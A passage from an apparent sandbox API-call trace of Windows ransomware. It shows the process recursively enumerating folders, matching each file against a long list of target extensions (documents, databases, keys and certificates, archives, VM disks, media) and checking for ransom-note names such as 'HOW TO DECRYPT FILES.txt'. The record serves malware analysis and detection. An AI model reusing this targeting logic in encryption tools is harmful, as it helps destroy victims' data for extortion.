(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mdb") returned 0 [0104.883] lstrlenA (lpString="*.mdb") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.fdb") returned 0 [0104.883] lstrlenA (lpString="*.fdb") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.wab") returned 0 [0104.884] lstrlenA (lpString="*.wab") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dat") returned 0 [0104.884] lstrlenA (lpString="*.dat") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.txt") returned 0 [0104.884] lstrlenA (lpString="*.txt") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.jpeg") returned 0 [0104.884] lstrlenA (lpString="*.jpeg") returned 6 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.jpg") returned 0 [0104.884] lstrlenA (lpString="*.jpg") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.png") returned 0 [0104.884] lstrlenA (lpString="*.png") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.php") returned 0 [0104.884] lstrlenA (lpString="*.php") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.cs") returned 0 [0104.884] lstrlenA (lpString="*.cs") returned 4 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.cpp") returned 0 [0104.884] lstrlenA (lpString="*.cpp") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.rar") returned 0 [0104.884] lstrlenA (lpString="*.rar") returned 5 [0104.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.zip") returned 0 [0104.884] lstrlenA (lpString="*.zip") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.html") returned 0 [0104.885] lstrlenA (lpString="*.html") returned 6 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.htm") returned 0 [0104.885] lstrlenA (lpString="*.htm") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xlsx") returned 0 [0104.885] lstrlenA (lpString="*.xlsx") returned 6 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xls") returned 0 [0104.885] lstrlenA (lpString="*.xls") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mp4") returned 0 [0104.885] lstrlenA (lpString="*.mp4") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ppt") returned 0 [0104.885] lstrlenA (lpString="*.ppt") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pptx") returned 0 [0104.885] lstrlenA (lpString="*.pptx") returned 6 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.doc") returned 0 [0104.885] lstrlenA (lpString="*.doc") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dot") returned 0 [0104.885] lstrlenA (lpString="*.dot") returned 5 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.docx") returned 0 [0104.885] lstrlenA (lpString="*.docx") returned 6 [0104.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.7z") returned 0 [0104.885] lstrlenA (lpString="*.7z") returned 4 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.tar") returned 0 [0104.886] lstrlenA (lpString="*.tar") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.bz2") returned 0 [0104.886] lstrlenA (lpString="*.bz2") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.gz") returned 0 [0104.886] lstrlenA (lpString="*.gz") returned 4 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mkv") returned 0 [0104.886] lstrlenA (lpString="*.mkv") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.eml") returned 0 [0104.886] lstrlenA (lpString="*.eml") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.msg") returned 0 [0104.886] lstrlenA (lpString="*.msg") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.edb") returned 0 [0104.886] lstrlenA (lpString="*.edb") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.accdb") returned 0 [0104.886] lstrlenA (lpString="*.accdb") returned 7 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.odb") returned 0 [0104.886] lstrlenA (lpString="*.odb") returned 5 [0104.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.java") returned 0 [0104.886] lstrlenA (lpString="*.java") returned 6 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.asm") returned 0 [0104.887] lstrlenA (lpString="*.asm") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pfx") returned 0 [0104.887] lstrlenA (lpString="*.pfx") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pem") returned 0 [0104.887] lstrlenA (lpString="*.pem") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.p12") returned 0 [0104.887] lstrlenA (lpString="*.p12") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.gpg") returned 0 [0104.887] lstrlenA (lpString="*.gpg") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vsd") returned 0 [0104.887] lstrlenA (lpString="*.vsd") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.odg") returned 0 [0104.887] lstrlenA (lpString="*.odg") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.raw") returned 0 [0104.887] lstrlenA (lpString="*.raw") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.nef") returned 0 [0104.887] lstrlenA (lpString="*.nef") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.svg") returned 0 [0104.887] lstrlenA (lpString="*.svg") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.psd") returned 0 [0104.887] lstrlenA (lpString="*.psd") returned 5 [0104.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vmx") returned 0 [0104.888] lstrlenA (lpString="*.vmx") returned 5 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vmdk") returned 0 [0104.888] lstrlenA (lpString="*.vmdk") returned 6 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vdi") returned 0 [0104.888] lstrlenA (lpString="*.vdi") returned 5 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.lay6") returned 0 [0104.888] lstrlenA (lpString="*.lay6") returned 6 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mpeg") returned 0 [0104.888] lstrlenA (lpString="*.mpeg") returned 6 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.djvu") returned 0 [0104.888] lstrlenA (lpString="*.djvu") returned 6 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.tiff") returned 0 [0104.888] lstrlenA (lpString="*.tiff") returned 6 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.backup") returned 0 [0104.888] lstrlenA (lpString="*.backup") returned 8 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pdf") returned 0 [0104.888] lstrlenA (lpString="*.pdf") returned 5 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.cert") returned 0 [0104.888] lstrlenA (lpString="*.cert") returned 6 [0104.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.docm") returned 0 [0104.889] lstrlenA (lpString="*.docm") returned 6 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xlsm") returned 0 [0104.889] lstrlenA (lpString="*.xlsm") returned 6 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dwg") returned 0 [0104.889] lstrlenA (lpString="*.dwg") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.nd") returned 0 [0104.889] lstrlenA (lpString="*.nd") returned 4 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.tlg") returned 0 [0104.889] lstrlenA (lpString="*.tlg") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.lgb") returned 0 [0104.889] lstrlenA (lpString="*.lgb") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mov") returned 0 [0104.889] lstrlenA (lpString="*.mov") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xdw") returned 0 [0104.889] lstrlenA (lpString="*.xdw") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ods") returned 0 [0104.889] lstrlenA (lpString="*.ods") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.wav") returned 0 [0104.889] lstrlenA (lpString="*.wav") returned 5 [0104.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mp3") returned 0 [0104.889] lstrlenA (lpString="*.mp3") returned 5 [0104.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.aiff") returned 0 [0104.890] lstrlenA (lpString="*.aiff") returned 6 [0104.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.flac") returned 0 [0104.890] lstrlenA (lpString="*.flac") returned 6 [0104.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.m4a") returned 0 [0104.890] lstrlenA (lpString="*.m4a") returned 5 [0104.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.csv") returned 0 [0104.890] lstrlenA (lpString="*.csv") returned 5 [0104.890] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f8c7ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71f8c7ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71f8c7ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.890] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.890] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="221fa10bd3cb407e43b7476af5039090", cAlternateFileName="221FA1~1")) returned 0 [0104.890] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.890] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Configuratio#", cAlternateFileName="SYSTEM~2.CON")) returned 1 [0104.890] lstrcmpA (lpString1=".", lpString2="System.Configuratio#") returned -1 [0104.890] lstrcmpA (lpString1="..", lpString2="System.Configuratio#") returned -1 [0104.890] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.890] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Configuratio#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#" [0104.890] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#") returned 67 [0104.891] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.891] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.891] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.892] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.892] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f02737c83305687a68c088927a6c5a98", cAlternateFileName="F02737~1")) returned 1 [0104.892] lstrcmpA (lpString1=".", lpString2="f02737c83305687a68c088927a6c5a98") returned -1 [0104.892] lstrcmpA (lpString1="..", lpString2="f02737c83305687a68c088927a6c5a98") returned -1 [0104.892] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\*.*") returned="*.*" [0104.892] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\", lpString2="f02737c83305687a68c088927a6c5a98" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98" [0104.892] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98") returned 100 [0104.892] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.892] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.892] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x188ecb42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188ecb42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188ecb42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.892] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.892] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.892] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188a0882, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x188a0882, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x188a0882, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.Install.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.892] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.892] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Configuration.Install.ni.dll") returned -1 [0104.892] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Configuration.Install.ni.dll") returned -1 [0104.893] lstrcmpiA (lpString1="", lpString2="System.Configuration.Install.ni.dll") returned -1 [0104.893] PathFindFileNameA 